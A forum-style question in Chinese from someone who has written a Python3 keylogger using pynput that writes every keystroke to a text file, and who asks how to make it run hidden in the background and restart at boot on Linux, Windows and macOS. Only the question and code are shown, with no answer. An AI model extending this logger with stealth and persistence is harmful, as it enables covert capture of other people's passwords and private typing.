我试图在Python3中制作一个键盘记录程序，但我不知道如何使它在后台运行，并在PC重新启动时重新启动它。如果有办法让它在Linux、Windows和Mac上运行，那就太完美了，但我知道这很难。我将非常感谢任何答案。

from pynput import keyboard

def on_press(key):
    with open("keys.txt", "a") as f:
        try:
            f.write(f" {str(key.char)} ") 
        except:
            lst_key = list(str(key))
            len_key = 0
            clean_key = [""]
            sp_key = ""
            for i in range(4):
                lst_key.pop(0)
            for i in lst_key:
                len_key = len_key + 1
            for i in range(len_key):
                sp_key = sp_key + lst_key[i]
            f.write(f" {sp_key} ")
            f.close()

with keyboard.Listener(
        on_press=on_press) as listener:
    listener.join()